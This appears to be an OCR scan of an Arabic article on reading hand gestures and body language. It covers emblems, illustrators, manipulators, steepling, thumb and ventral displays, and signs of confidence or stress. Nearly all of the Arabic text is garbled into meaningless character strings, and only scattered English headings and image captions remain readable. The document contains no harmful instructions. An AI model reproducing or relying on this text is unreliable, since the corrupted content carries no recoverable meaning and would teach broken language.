^ jj AijC. Jjoi^ (j-d (J uoll (jLJj Ld" j L_jL^a!iC.VI L_jl£jjl ^ <JC. jib q^A ^JJ (jl (jJ^l^Jl A^.1 L_llla lil tilli ^^ic <Jl<iVI (j* 

.L-jl >^r>VI L_j\£jjl (JjjJ j AijjaJlj ia^a L^IjjcVI Afrl&ll t . UjujJ Ullc. liA "^JJll c L^aHo 

^gjaau (jl <Lj liA til^ j^j L-Ujuj ^ 4JJUJI (j* jU&VU .l^bV liA ^ 4jl!UxJ| J^U. (jxi ^ill liA ^l^kloal Liajl cilj£ aJ 

JJ jjUA^Jl jl^. ^"!)L^I ^^Ixi ^JJJ (>— UAjuJ AJjoJI (jl L_fljC.| Ul" 6<J jSJ (jl 4(JUa3I J^f^ (^5^- .cJ^I <J ^ U^ L_fl^Jl 

j±\ jj jjj^^ (j^ y'l\A ^^L^l a) ttilli £A A^.\j!Li JJuSi V lil (j^3 j tdjUUJl (jxi JjjS^Jl Jj^- U^a^ 4j (j^aLiJl 

;<iiiia djlaljjcl JscaJ J jj^aaJI .d^Ij oj* lgJ£ <j\£l^ijU ^L<JI ^j^xj Ui Ij^U ; (Wedging the alibi) 

aJl^jW ig^Jl Ui>q 4 J^lj J^l ^Ij^cVI (jl (j£-aJ ;<SjL<ui ojUjuj t^Ilj <Lj jl tJljjoJl ^ ^-!^jaJl till aJ 4^ j>Jl ^ (jl^ <j| <JiL<» 

^I^VimU "^J jj^ jll" (j^-ftJ (jl^ lit Lft Ai^>x-<i -C5 _nxJl ^1 jj^ jll till (jiaSjJ L_il jJl j AjcUlL^VI <joj^JI (J-ftC ^.UjI jJ ^^ic (Jj^a^J L^Jj 
(J CjLd ^1s«_a3I (jxi Ja ^stjJaxJl (j^a^ll I^A A^Lq ^iLdJ (Ja ^ ^ola>J (jl (j^J Vj (J jxjula ^A C-Uajuj AjjoJI ^sl Ul" |I1a (JlLo ^lajuj 

"?I^C. jl jJl (3^-V CI iSj ^ 4-ifljlA A a\\ ^ aL. 1 4ju* ^jUI JjuJJ UjL^lUa 

(The End Goal) Ipk^l^l - 

L_llAI j ,iiL ^aLiJl <J1ojVI (J^axJ ^^ic <jL^.VI ^ ^ ^^C-Uu^-VI (jjJ.Vlg a£ t^Jjuoll L_j| j^JjojVI jl <LIL<JI CjI ^JJ^J ^I^JjojV jJjJa^ill 

Sjqjq^ Igix^J ciliUU.1 (jJj^ <cilli ^1 AiUiaVU .cJ^Jl ^ ^U13 JU ^J^. A^Xjl (jl (j£dJ tilli (jV 6j£LJl cJ^S oiA AjUil 

,(j^aLk]| L_j| j^ImiV jjjJa^jll J^l^. ^^^ic (JaxII jUuxi tilllasuj 

(jx» Ia jjc.j t(jjjUsL!lj ;^U»jajVU . it L (jl^ (5^11 jj^l U» l_a jjuj (^ill jiill jl l_jI j^IujVI Iaa (j>» ^ i(who) 

.L_j| j^JjojVU <L^all dili (^jl! 4ic CjUi j1s«-a3I 

b lJaa ciL^ uj^J ( : 1 >J ^S- 5 ' j>^"VI ^^1 (jj^j>>i liUj ^ill jI^VI U iajjJalU :(What) I^W^ 
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liA Jj ^^jj JU^Vl diia s^jLJI t_a j Jail gj* U ?JJ3I jl jlgill j* CjSj ^1 J jt>1uiVI ^ jll jUaVI yt> U :(When) <^ 

? j*VI J^ j-* ^—^ j J ^Jj^jjoj <J& ?^I^sl!I dia j J (jjfLjai <J& ?S jU.1 J 
jl t J«s ^ C5^^ '^-^o^ <IUa]l J /Ml ci^ ?c v^ll jl£-G J jj^ <*-ul cJ^ j^'uVl j-* U ! (Where) l^I 

?L_fl^Jl jc CjU j1*-a j-a 4 aAlaJ U Jc <J jj^aJl A! j\ «s <^ (jl^-o <JjJa3l jjl ?4jjlg_i3l AjIc Jl jt£-a J 

j^jjujVI li& j* q^jxI] U . JIjujj ji 1 ; <j£Jj 6 JlilaVI j* yj^j ^ u^^*^' l>* J Jlj^JI I^a £*joij jjjUII ;(Why) 

?^UJ| jl AijC. Jj J jj^a jll j-a j£ ^^Jtdii V jJl djLd JslaII j-a J 1 IlL^lj <lscaJ ?£<^-^ J £-3 L_fljj*J L_fl,^_ll Ja^J 

Human buffer overflow ^<^^\ >«ljVI ?4-if ^ a » JI Aj^illl Jl ?^lj^lu>VI 11a J t g^Vu . nm Jll J Jail yJfc U :(How) 

f Microexpressions? 

^ jj j-G L_flljJC.| <iI3i j-G L_fl^Jl L5 C.\ dlaj JjJ^i^£ j^JjuiVI .4_AJjaJlj L_flljIicVl L_fl^Jl jllaJl j^JjujVI J 6£±la3tj 



Understanding the Language of the Hands (Gesturing) 

(Gesturing) cjIjUVI dip. t^UJI ^ji^ J^ -ulx ^ tmicroexpressions ^ Sjl^VI ^ 

# 4jL^J! j 4-^.1^)31 ^lil tilLaua! j j3U 
aJl£, cIlJxj UK tlLoj di^jj^al UK .tillj^ jA ^JUJI lJI kS£U cilj£ oj IgJ^ jA ^31 j aLjoj j tiL^ j^^ ^ cJ^ 

,L_ic.!^i3l CjIj^Ij t^tfUlj illj 4^juj^)3I JiLd U^ali CjIjI^ ctiLuij jj^Jjj Aj^xjII Jl^ ^-i>.»L>.»VI CjIjI^JI ^.bV ^I^jjojI 

CjUjjJaj 4<sUj^I ^jJa j>» ^Itjj " J>J1 .^^JJ*^^ o jjir > ^ CjI^^)^. Jc L_JJj^i3 <Jjj^i3l CjIcUJI CjUd ^^^>^^ 

jxi ^3U!l ( fljuJ^LudJ jl JlSj .^aUlA^U OJjlLd A^OlOJ jj^- (J*^- '1980 H(lfldS (3^^ ( ; ^ *^ J .(illi j-d J^lj t^JjlLJl 

6^1^. jll dila jl^xJl ^aA JjoJI jl ^aJ? .^a^Uall J j U3 j^. LI '^J^ ^ ^xijaaJ j-G JaSS j j£3 j tll^l J 1 V^jr>l ^I^Vlmlj U3 j^. 

.ciLUak jj^xj] ^AaJLujJ V ^ jjujS 4^a^£Jl J ^ j^ j^<^ ^ fl^ jC (J^H .f^^^ ^ j^ ^ K 

jl J jail Jj .Vx-^ (Jc-lilj jll jcUIaII tillj U^jI j^Jj AjlIIIj ia^a (JjjJ J^ 3 ^ t ^ i^-j^^ j^J^ ^ 

. jj^Jl J U^J ^-^^J J L>^ laJ ^UJI <J ^>*Jujj U jV t^UJl (Jjj^JU c5^VI 

^jjjjja (JjjVI j jjiKJI j j-^l J jj jjlKJI 1973 J .^A' ^j^" ^ aj£ j ^Jlj Jll cAlal ^xJI j^ DjJjUi Ai^lc cilU^ 

, jj^Jl £A L_alal ^sl!I l^_J laJ jll Aill^xJl ^J^)]a3! I j^jJaj Cilia t"^! CjI^^)^." c _ 5 -^juiJ I J^"^ ^JJ J . ^ ^jj^ ^ 

CjljLaiVl iilfij to^Louij 4^-3 j& ^& till laJ L_fl jjoj tl^jUcI J Cj^-U. jll Cj j^kJl £a ( . Jj Uia* t^jl a Jl ^jj Ja jc 

CjUjIj^I <sulj Igil jA ^ jll Jc^ .ciL^ J^a^ J^^ J Jj^qlll Ak. JU3U Ja^J U Jjl liA Ujj tdjUllI dlU!^ (J^Uj V I^a 

.^j^jI ^I^jjujU JjaUil ^5 jla a!1 (JjjUI! L_jjjaaj jl j& jj^jjj tJL^jVI j-« <J£joJ! I^a j ^<JI j^ -^j^ J^ 

j^3j t ^IuitJI (JjS tilxll! J£Ij V Ujb J j£5 -L ^ajVl Jc^ a£*£3! CjUs ^ ^L^aUJI 4JLix^3l <kjc> J tiljl 

JjUi jl tilbl jja lij "?CljUi3l oiA J£ jb jjl jxi" JUjj ^Aill ^^^1 Jxii jl Jc^j O^J^^ 

<afl jl o^ljil Ajjjl!i3l 4_jojjAa3I J Jj^all *U^L<i J til^lc^Jjojl j I JJT > ^ du£ U^jc dlS jll j^ii J' .'SA ^ ^ ^ J^J^^ 

JailU cilj^Uj I^JJ L— Lia 6<ajj3U <A > n 6 Jig ^^1 L— Lia _^Jj^i3l *U^L<i Jj I^JLq ^ J> <aJ ttililc (_^^Uj jl^ U^JC L— Lia J ^ L— n£ 

I jj«-^ ciU^ 
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L_fl^sU tT<< Cilia .lijlj (Jj£j (^5^ cdjudjj ^1 4ijJl £CjJaJ duS L— Lla _Lq AiJaj <Jal (j-a ALtLaJ ^a j£j L— ll£ c£^ll 13 jl! &J jxl\ 

^ill U ^Ja j*lL 

^Jc- L-flj ^ t M 1/ JJ ui^l 1 1 X-g cilliA <J <JJju1a3I (J'^J L— Lia .'Uajjuill CAjI j^ImiI Cj>^ uj ^J^liill xJatLi 6^ jxl\ (jl tljjiai 

LaZy CS-S-S-* t"ii< LdAlc" cJ^J^ ALlLJl I^JJ JajLjall . j;- gall J^*"J C—Lia 4_ljUall ^^ic S^lflluiVI ^J-^ C3^>^ .*^-^J 

j^j t j^jj Jjl Tree Bar 

.<Jjiyi ^ Ail** 3 > Vyg j diia "RL11I ^ ^ cilUA *|J ^ Ul J*alb t*U dJii ^1" .<u AfuUW diia "jV" 

uj^J c^iJl L_aJal ^xJl U»j ^joj (J^3i La ,<jjdj!>L<J! <xJaS jl ^jLkjU L_lxJj jl t-laxjJa ^ la^a ^J-liJ 

c^jj^Luj^llj tdjj^LdjVlj cCjIjIxjoJI a I laJLujl j Lj^S *Uajudl AiialsJl ^jia^su ^jjl^.U3l ^jjjSU tlLLuj ojj^A^Jl (JjjVIj (j-^^ <joj!j^ 

.IgJLujjl ^jj ^jll A-jLiaJI <JLojj3Ij AjilaUJI <!LaJl 1j laa] [4 *\ Iklujl (j^J J£ . jjjcill<i]| j 

^jt JJJU '£-^J tj^aj ^^Ic (JJJJ^J (J^V C5^J 1941 ^ ^ 'OJjhl JJ^^ (J-^ L>*^ JJ^ 1 ^^ ^a^Jjojl 6<joj!j^3| d^A 

c> ^ jj^j^ c^j I jj^^ oj^^ u^ 1 ^^ c> j*^* I -cP 3 ^ J^' ^ 4 " Gestures and Environment" 

£jJaj dl^J cS^^A 3 Cp" fij vIjAaIuiI lui^l\ AjlSj CjIjIxjoJ ^jJalj tilUA ^jl iA alia o (jl^lj 

.(wse) ^I^IujVIj '(coding) j^' '(origin) d^V! >lj^) ^Uaill Ijjjo£ .^jo^JI <iJ ^ ^jill liA ^il ^allaj 

(origin) J^aSf) 

CjUs Cj^Ij (origin) lIj^VI ^3 (JjjVIj u-^i uj <Jj^I jj Ja^j ^ ji^^ ^ t * a .^ jA J^il jLA\ LuIIq 

tSjjuiVI j tAiiSaJI j tAiliill ^ L_aiLkj ^1 tills j '(survival instincts) ^^y^ * ^ ^^^ ^Uaill ^ UjUijj ^3 ^1 tilli) m alia a 

j\ A > <al \\\ UjjL^j ^^ic Lftjla ^jjjJ 4_ilaAl Jjiill .lill diljlxjai ^jia^su j\ L_fl jjoj UjI ^gixJ ^ hq\ ii3 jLoill LuIIq ^3 # ^^)ill jl 

^j^aajuoll Jj^al ^^ic j i Jj^aVI 

(coding) j^j^l 

.■'Lnsu (_£il! jj-djiill ^ jj ^j-iaj (j^j ci*^!^ '^A^ .^^^ j l!*^!^ ^551x11 jj^jlll 

4_iajljjjaill AjaUll ^ jl U^Luia v <jl ciiia "flipping someone the bird" ^ 6 ^ v^ni^ t 




6<J11a1I J^f^ ^5-^>->^ L» l!^ ci^a 6^^)al 6jU*j .olix^ ^^ic o^Jaxi ^ ^IJ^ J-^^ iconically j^J^^ 'iSj^ ^f^-^ L>^ 

^ aS\ V^j o^lj t^Jc^ <iaa.^j ^ill Jxil! JL» 6 j^-la^ j^jj diia .iconically intrinsically j** <! 

U^_Ld L_JjjJa j <iiia. <jJaj3 ci*-?^ ^ jfa t^J^J cJ j3 6<Jtl<Jl cJ^^ .(-1*^1^ ^^A 3 ^ iS^ j^J^^ C^^" 6<jLoij 

^)al j^a lu L_J^)jJa (Jjtall (JslS (j£l j <jJaiall ^^>a-<i C-jjoul ^a jIxjuJ) _^)aVl 
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(usage) 

til jLJl i <Jxi3l ^AaJLujJ La,jjc Cj^. j ^jII <Lia.jlaJl c_a jj^all J^*-^ ^ ^^"^ IcJjlill jj^all LaLaJ ^lAaJLoaVl 

a) laUjuaVI ^J^i ^ IjJ^ L-UtJj l^K ^ual jJ jl (^^Sclaj jl£ 5-1 jjujj ^jll dLa jl*_xJl ^A La t^cUl ^ kaUt 

^0 ^^Jail J;ii-!l (J-*^ J^ L>^ * 4-^ C-H^J 0*^3' ^•JC-Lui-a ^1 iklLoiij ^(codillg) j^J-^J (origin) cJj^VI <JJJ ^ 

.Ia jJjj^J ^JJJ ^^jll <iSaljLil La jl ^akjaJl 4-1 jli (jl cJj^-^ ^ ^JJ LS^ ^^^^ . ^j-J^ill 

jj - alSI /< ** A r 1 <LjV I j (emblems) ^IjLljoJI "u^^^ 15 J**^ J-*^ ji^ 4-^ 4_JLi3l ^JatLJI ^jjjaljj 

.(manipulators) u^^^j ^(gestures/illustrators) 

(emblems ) ^IjU^JI • 

j*. ^aix^k I^jJ ^1 j c5^jVI (>» ^^Jail/^^iJj jjxI! JL^ajVI aIluj j IgiL {emblems) ^— iljLtJJI t-ajajj ^IS u-^l jj^*^ 

. jjuK jl <-aK jl 6 jj > <a3 6jUc <j-a L_a3ljj j ojjoiUaII <jJafl]j/4jflijuJl *Laa.jIi3l 
j3 Aitaj jl ;<a±la t<Lc j^ a <JjfS (j-a (J^ 1 -^ cs - ^*"^ 

. ja.1 j uJ 4_n»_x» 4_!Loij (JLojjV (^^^j ^ IAac a iklLujj La LJlc. 

<J <JIjujjI ^3 jU_Ja3! jl ^jsu C5 ill<JI 
„ <JL^j*Vl (j-a ^ jJl jjjoui (J^^lj (JjujjaII 

Lft^jc LaLali <IiLa ttilli AiLjaVUj .l^-j j^Aa^Lujj ^^jII CjI jIxjoJI ^^ic a tlg-j ^jjjAaJL ^^ill CjL<J£JI ^jj£j^j jjjUII Ia£ LdUii 

^ iJo JjojjxJI j^VI ^ jail 4jjau3U jSl j jl "emblem slips" jl*^ll ^-jVj cjLaJ j Uj^I £)6\\ ^Kjj 

/ a laJLuiAli CjIjIxjoJI 

.cjIjIxjoJI ^9 jjjLujI ^^^ic aJjL V j) 4-!j^j ^ j^ udl] 4_iilalxJI aJL^JI Lg c\ a$^!\ j" il^ &11 ^cLaaj ^jl ^ l£ aj (origin) cJj^VI 

.iii«ja jlalia ^ (gesture) ^t^kiai! ^ I ji^ jj^j* jl .Latin Kings I^jI C5 Ic^ jxuij* ji 

"1 love you" or a gang sign? 




a UV)\\ oIa CjUjV jj£I <Lla aJUII jjj^II 

^jUI! jbu!j jA tAjj^xL^ <JaLa JjS ^ du^kloal La lil " ki jlxij La I jiSjl" [Jjii ^Lill J£.ui3l ^ ^ J^ 1 ^^lall CjLV jll ^ 

. J^Ull ^IcILujV a jaJLujJ d^A JjJI ^La^lc LjJLa ^ . jL\ jlxjjjj ^^ja. ^.ILllj jlilL JjIj ^ill 

"Come here" or "Go away"? 
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jl ^lLo du£ lij <J^L3I ^Ic^jjujI i>5 i*j ^Jj^ f f L»,^c. La I <— flVajVl p^aia Lq ^Iji £a f laJL ^ U»^jc L*l 

^jjU <jaLuUJ SjLujVI .tgAJjlj £x» La ^ uii ^1 AjLjuJL OjLujVI 4^L»jaJl 4a.I jlil .111! 4_aI J (jC fijW^ CS"^J CS"^"^ cJ^-^ 

.dj JiLdj Igili Sjjfllxjjuj La! ,V qs>*s /Ml t . 

"Come here" or seduction or death? 






"Good luck" or an obscene gesture? 




i"{2LA\ <x^ n SjjUII s^aJLall CjLV jll yi tijj^ .^Vl j <jUJI ^hvi mU V l£^> <> ojLp ^ J-*-^ 
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(filial! .Iaac A^klaaj LJlx. j 44-n*j Uua ^ tajJjL^ ^iJj <-<^jj I^jJ .CjIjU-JJI CjljJjc ^ (_£ ^juj C_L 

4iLjaVlj .AjilaUJI ^ <IlaJ LLa^i jJxJ (jl (j£*J j^L^a-all Uiajl (j^Jj jU.uJl ^ la£a (JjjJ ^ill 4<Sl<iVI *>i& (j* J£ ^ 

(j-aj 'JjVI ^alLJl ^ .lill c>5 Jc. La j-aC J^a±j Y'"?^ (J^^VI (j* ^JAxJl ^ IgjJajC (j£-aJ ^^l CjI jIxjoJI (jx» f^jft LS^ 0 

a ^jJa ^Ij _9^J L)^'^r^ 

(gestures/illustrators) j>^I/cjI*UjVI • 

t^ilSl! gJ^L Ujjj LLtlJjl LalJ iafi jj j£\ Jl*iVl ^ ^ (jjjj^l" (jl (>£j| JjSS^I J>± clA£ ^p." ^ 

#c ^.jLk cJ^-^ ^vi>n*i L<i o^lc (jl <^ £ ' <Ak^Sll j c _^c jll ^ u»n tgiV (emblems) <*-il jIxj^JI L» 

^ji ^^cUu^VI all 6^jjjLujV1 -la ^^'^J^ ^ sjj JJ 1 J' 2v^i^t CjljJJtiill 

knx^ s jUc^ jl ^1 ^ Batons 

. jSall jL^ ^1 ^ Ideographs - 

.dj^ J cjllxi ;^u^ gJill jaJl ^ (Deictic movements) ^^J^' cjISj^J) 

cj^JI jjoj jj^j (Rhythmic movements) Ajp^V) CjISj^J) 
,<A£a jj^ (Spatial movements) A-ajI^aJI cjISj^J) 
.ls^A? lU^ ji lU^ jj^ cr^^ ^ISjaJI y-A Kinetographs 

aaSI jj^j JiSl plj^JI ^ s jj^i ^1 j^JI ^ (Pictographs) 
jUc J a^K J!^! tjUj ^^Luj (Emblematic movements) ^i>jJt ^j^Jt 

(j^lajjjj Aic (jj^l^^j ^jjjjj^a^JI" Uus ^Uua!>1! 1^. o^iLd 4 LiLa ^ taj 'Xelling Lies ^^i^ u - *^^ jj^^^ 

/'^Jjjl A*%) (JURA'S* A jl t^jajVlj ^jj^)XJujj A iQlljC- iQllk^t- Q^jfL Ld^JC ^llxxJl QA > ^> jJ (JJ^J (JJjUll .(JUL La 

JJC. >l jjll/jJj> i^l^l ^I^JjojI ^jC I jSSjlj ^l.^ltnl (jjjoJjU^ jl ^jj^Ui I jjj^J ^3 J t^l^kJl ^I^JjojI (Jj^JJJ (jjill 

.Aj ^ a all (Jilk (JjjLojVI li^ ^^^ic dj^b^su (_^lj a^C jjJa j>» (JjAjoiI 

(Manipulators) <^j\^\/0££>yz*l\ • 

L_Li£ cdjudij jLaaJ (jl ( . La>J \a (j^akjaJ (JjjLojVI Jaa. JJ^u ^ J^-J ^-1o^.^Ia3 ft^a. ^ii^Jj L_lC.!^i3l (jc CllaJl ttilli (jx» V^J 

6j>») CjIjjoij>JI ^^C-LftlaVI (jjJ.H3.xJl D^cLaixJ (JjjLujVI Jaa. <Jaa.^Li (j^»J (_^ jJjuj-<JI li^ ^1 lLu laJI Jj^J (jl JjS t * a j - gaJJ 

.(j^rs >'M1 11a jcLaui ^^ic CjIjjjxjII (j-d (^1«^ (J^ 6 c5^>^^ 



Hand wringing is a common manipulator. 




4 jj<mlt SjJb ^ic- j^i Jlia 



Another example of a nervous gesture 




Qlll 4(jJ,lJl ^^jJjoi^ j& (jJ (JjjLujVI (jl <J .AjAj Jj^IxJ jl <il^)i} 6^£tLa ^)AC. j\ ^ 1 - aC Lo ^ uJl UJ"^ Labile. 
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(jjjlil! ( . utL UU^I .(jjdj^LJI ^ ^1 jljjl ^1^. jl cjI^a &1I l_sjl131j l^±3 aS\ j& uJI A_n> ^1 j^uii (_£^>^.l (j* 

^a^SU ^StJaU LdAlc I— Ua 6<JJjujI ^IjSl ^.1 jl ^-Jj^ ^Jj^x-a ^LjuiVI ^Uacl ^£^1 (J^akjaJl LaJJ ^ &3l£ <*-ll^>& all jl ^JJdJ^^LJlj 

.A-nj^ac Jal f^ltaJ (jjdjXol! <j* &i_JI J*Ul3l I^jj -uli ^-UjjVI 

f.^Jj 1 g ilaJ ^^ic IgJ ^Iji duli ^&ljJ 4j^L^-g <J^\a ^aJ (JjjLujI£ \ g u\ ^ ^1 l^jclji £A L_fl5J \ n\hn lit t^LoJl <J£juJI ^£ 

*La. jll djljjlixj J> <^l j 4_^.l^)3l ^a^C. JjJjoiJ ^Ijill j «Jl jJJiM^ 1^1^. JP*^ ^ tl^jl^A j^-a 

11a ."c^ u^^^l" 4*111 (j* plj^Vl u^Uj jj^^I 'Telling Lies cs* 

Jak (JISaII 11a .L_lC.ilj]| (^Cj^UI ^Ujll (^ic (J*fl j^i 4<J ^ajL Li ^^>stJ udll ^jl (j-a jll (^ic 4il ^^-iXJ 

(High- Confidence Hand Displays) ^1 ^ ^ i 

^al^JjajU JJUJ (jl (j^J ^1 J Ajj^kjaJl ,^aA JJjC- S^jujIIaI t^jolijl (jC 6^1^. ^UjoiI (j^XJ-dJjaiJ (jjjUll .^^cLal^-VI (Jjj V^ 6 j3 ^^Jfc 

^i^jll (^5^- '(j-<^ JjE»-ui3l li^ ^^^ic JalL^Jl ^JJJ (j^>^ >'MI ,4x.jjudJ <3^lc pUj \ £ j£ ^^ill j 6<Jjoj1_L<JI ((j^akjaJl pj^ql) dilill CjIAjujLLq 

j ^>xjaiJ (j^akjaJl (jl ^1 JjJjoiJ (jl (j^-<^ C5^^J L)^ Lp 3 ^^ lS^^ L>^ C5"^-^ ^-joakll L—lA^J .'^-^ CliUi jlx-a (jC 

Ja ttiL (j^aLkJl ^_l3l laJj *^ (JjSj L_fl jjuj t^jJalj (j£judJj <C^)judJ li^ (_^JJ (jl ^aistJ (jl 4_j| _AjtjJaj 

,l^J Jj^l jJJ (jl ^JJJ ^^ill <L^)ia3lj ^ t ^ Jj^I jjILj till ^QajjJ L_fl ^juj li^ .tiL <j^aLk]| > >il ^<J| ^ CjVIj^jVI -laAJ L-LujI in] 

The Steeple - 

£Jj^l 11a ^aJJ (jl (j^J .AjUj^I ^al^Jjujlj (St66pl6} C3^^ (J<^»^ **'^l (jj% Ld^ic L—iA^J ^Jl 

,(jJU3l (jJ^jaJI ^jJa ^ tl^K ^Jl jl (jj^l ^^Ic (jjuj^JI 

The one-finger steeple 




l he whole hand steeple 




^>JI uj^ j^^ f^*^ jj^ 'The Art of Charm <^ >^ c> . jj^ c^^^ J^l u^j 

." J ^JOlJ (jl < ■ La>Jj 4^ Ul 6^j|j Ul" icJj^ C5^^^ \j» 10 <— fll^AI (j^^Jj 
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What image does he want to portray? 




■l3^j ^ J ^^'J ^jj- u ^^ ^«^u^q <Gl cJj^j J] ^-^j 6 ^ AjILxJI <9j3U j^xJoll ^j^jj^. till aj Jala ^jjjJ 



.4 >^U\1 (jjiiall Cj^lLi ^£^1 *U3t Alii A^ja. jjUj yHJ£ ^Jj^' ^L^ajVI lP 3 ^ * L&^l 

Bernie Rayno saying he knows what he's talking about 



AccuWenlher 




BREAKING: JAPAN CRISIS 



dila« > ^ <LtLJI b( jLjU1! cs-*^ j juj ^ ^* j^j^*^ £y* ^L>*' J**^ ^1 jL^all ^U-^Vl J ja. <jI j-\ <j^j£ ^ .^J steeple 

steepling He .<! steeple j^- tdL ajjIj.^ .1^ Ujlj^c j^aj j ^ b ja. ^iW^ j <Jc 

■c^^^ LS* ox* ^ 6 c ^ J^'j ^ t5^b C5^^ steeple 

The more aggressive his interviewer became the higher was his steeple. 
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A high confidence territorial display 




Thumb Displays - 

laJ . ^jl lia^yi J ^)t_>.7ij (jl (j>i ^ix^Jl J I 4j|i (jxa ^ J a 6(_£jIj <jU ^akjuall ^)t_>.7ij LaAjc ^lg_jVI (jla^C- ^aJJ La LJlc. 

(JL^.j <j* dlailH ^^jll jjj^I! <il3i C5 Jc. 4_!iL<il (jl 1 1^ *j ^2 aijj jl AiiilU jj^uJU U» ^ ui ^jLi L^aIc. ^I^jVI 

-C ^!U3I jjfa U£ t^jjj^VI jAA^ll (j-aLau^VI ji to^lillj JLacVI 

Using the thumbs in this manner can suggest high confidence or that what a person is saying is important. 




Ventral Displays - 

.(jjaLoJ! j (jjicljill ^jinl \A\ <JHa3! J^f^ 6 l>W^ ^m^ti e-13^ C5^j Ventral c^ = hj j ^^ ^llaj^xJI j^Aj 

JjJ (JjjLuJl ^jj^^SI (jl CjAa. j dlUV jll ^ ^^^jJaUJl £.LaC j (j-a jjj^II (jlal^)xluj| ^ic _Ulc. jC-Jj jl . lllaJ 4 J-atj (jl clA^ 

(jl j tilijJjuoC (j* 1^3^' (j^akjaJl ^1 S jCO J&&1I *lJl '^^1 lS^-*^ jIiL<Jl (jiajc ^AaJLaaJ (jjVnK 



"Please come with me." 
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.jpUaVI ^jlc ^iij V j c_Jlki ^1 t^^li^JI jJI jc t^Ull JSj^I ^ 6 c ventral display £^ o^- 

"You will do what I say." 




Genital Framing 

; jJajl .l-jUJoI! ^Ixld cJ^-j ^> t4_ilai3 ^liJI aJL^JI £>i& j^. ^ .genital framing ^^-^ AiSJI ^^c- <^iJI .1^ j-^j 




(Low-Confidence and Stress Hand Displays) -%^J o^tiaJ! jflaj ^Jl jJ) q^jp J_ 
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^J*) Hand Wringing or Rubbing • 
J£^l J j& U£ t "white knuckle effect" j <J% <^ j* jl ^ j > ^ > * uj^j U^jc 

jaj *lj^l j) (jjdjXJU c_^^U3l ji ttSl ja ^jlik] urt^ ^l^luit jl [knuckle cracking) ^A^-aVI <*3 jj jl c£ j^' 

Hand wringing is a common manipulator. 




lhj^) Thumb Displays • 

Jl AiLjaVU -C5-^-^ J^-^l J 'c^^ ^CS - ^ C5^S (J^V (J^J^ llA* J - ^ ^ cs^*^ fW/^ O^J^ C5^S 

,4^.1^)31 ^a^j Aiilll ^alAsul Jl J;!^ V <jJajC Uiajl <jl£ tAiSlI J J^-J J] (jl cl£^ CS"^^ ^-^^ O^J^ dfi LS* 

Thumbs down for this performance 




.L»Laj t alia a p^gj^j Jl all ^^Vl u^j -iSSSI ^j^) steepling uj^ urt^' J3-^ ^ t J^-^l J 

Hidden thumbs can point to low confidence. 




Ullllll/ll] 

atgjV! e-li^.1 ^2 1^ 4jjaiki<» Aij Jl jj.uij 4i£3j ^steepling ^LuJI cJ^^I cjl ^ jfi 
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(JiSUM JSSli) Closed for Confidence • 

jSlj tAJUJI Aijll Jl UlaJI aJI CjU^ jj^ .4_iiLU]| /Ml aJU Jl I ^a/YI (jta '^M^ ^ j^i ^ 

Hiding hands can indicate low confidence. 




Ajujjoj j A^)^. J SjLuiYI .^)^l (J^>^ hi (j^akjuJl <J-alxJ J ^-LuJa^ (jj£j l&A&LuiJ jll l£^>^^ A-ljaLjJ^)H ,lJl (J^asu 

jj^su j <3^lc £.Uj (j£-*J £>Aa* £jL^YI J Jc-Y *lJl ^-^J J J^ Jl 6 jj£jli3l t jj> jlij Jc J^J (jl (j£-*J 

_4_J| Cj^jj ^ill uJI J <LijL^jYI jcU^uJl 

(^Sfl £-* Getting a Handle on the Hands 



<j£joU LaJJ .U£-<Ui 11a cJ*-^ <jojjUixJ| ?*Lal^Viml j 11a (jtsjl (j^J C flj£fl tl^jbV Jc 6jJj£ CjLg j1»_a3I i>i& (jl J j£j (jl (J-<U^<JI (j-d L— Ll^ 

AiSaLk *Ll£1 ^Lojjlxui ^jjj V <jaJ "J^il ^^5^31 c> J*^ s^^l ^jUJI" t JjL jl£ SEAL Six <j^ja J u^'* <4ib 

ialilill (J^_jujVI (j* tLaLaJ l^jojjLdJ IaK ;CjIjIjuiYI *>A& J^-*-* ^^-^ t^Luaaj t LjjjJ f r<< LaK tdla^V LoK ^AIloJI dlblxJl jj^suj 

.cjIjU^VI 

(j^ ^jouJI dliljj t . ^ dllkJ lij .I^qIa^IjujI ^jqj^ tiLuoij ^alxJ jA tdiUi^lxJl oi^ dlla^V ciLuoij L_13j^J ^^)^aJ 64.JU3I b jjn^ll 

/ojjj^II <jaj|jJ <La^ ?(jiajliij (jl <jUjj (jxi L<i t^Ull J£joJI 

What do you see here? 
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(j>» jjll I^A ~\ I^JjujI (j^-aJ ^C5^ (J^ ' a ? £ 1 1-^ ^-^^ *^ ^ L£-^ I^Lo ?4j1qjA (J^ajS Jjl-^J L# V J& 

.tiL <j^aLaJI CjIAxjII j!^Lk JJoill jl ^ a ill ^jJJ (Jjill ^^-i*^ ; <^ 

(f LyijVI ^Iap jl ... J^ljll) Anchoring *k 

jcLaui 1 g j^l > ^nl 4jI£3I j (j^^l '^-^ j .^IxjuoH j t^jjoiilU <sj3I jcLuu* 1 g j^l > <aj (j^ltjll j (jljjuiVI a a jcLuu* 4_n^i <UL^. J£3 

^J| 4jLi^. La (jLaijVI ^^-J^J ^ jLaJl j jj^SjII j3l AjjLuJI j lg_La AjjL^jVI jcLouJI j ,L_axjJal! j 4<Laj^Jlj tajl^JI 

U^jc 4jjW^ j^L^ * ^Lj^ ^jA J* ^O^J cs^ CjU^JII ^ ^W^' jC'^ll ^ J j»^t ( «fi 

?4jjUjYI J^UIcJ! 4jIj <*ijJJj tA-nLill j^LUl jyu* i jUll iij jlka U£ l^i^UaV ji H\ IplVij 

(j* (jl£ j 6<jK3 ^IxUl ^aJ^J ,JJC (jjj^aJl (J.JJ Sj-g J£ ^ajL L_fl jlsU <jl£ ^3 t^gjl ajuo^ JaC JJJJ (jl dj ^ -^^1 4jUr. (jl t &juj£ 

(j^j (jl Aasu •JxJj 6(jjj^aJl j J£YI ^J-^J (jJJ La ^ J > ^->r> Jajj (jj^J o jj > ^ ^*Jj . J^YI ^3^2 ( : l-iIslI J^^ (jl ^tjjlnll 
J j *C j (jjj jaJl 4^1^ J j^aj c_iK]| c_jUJ JLoj (jl 4 ->jnN C-ul£fl ^UJa (g\ (jl (jj^j (jjj j^JI 

L^JC ^cHj ^ALaui ojljfl ^ Ajala jjc. ^lill b^ ^Labd (j^3j .4^Lal UjI <illjai UJa (jl£j t jI^JjujU 4_nAill (jLudjVI aJL^. J^*JJ 

ClllaJJjl ^3 dljl£ Cjl^ lip jl djljjld ( ■ nmj Vj V ^-C jYj^l ^LliAill CjVl^Jl .A-uLal jcLulxi dib ^LaUi (JjSS J 4A-ljL^j| jcLaUi 

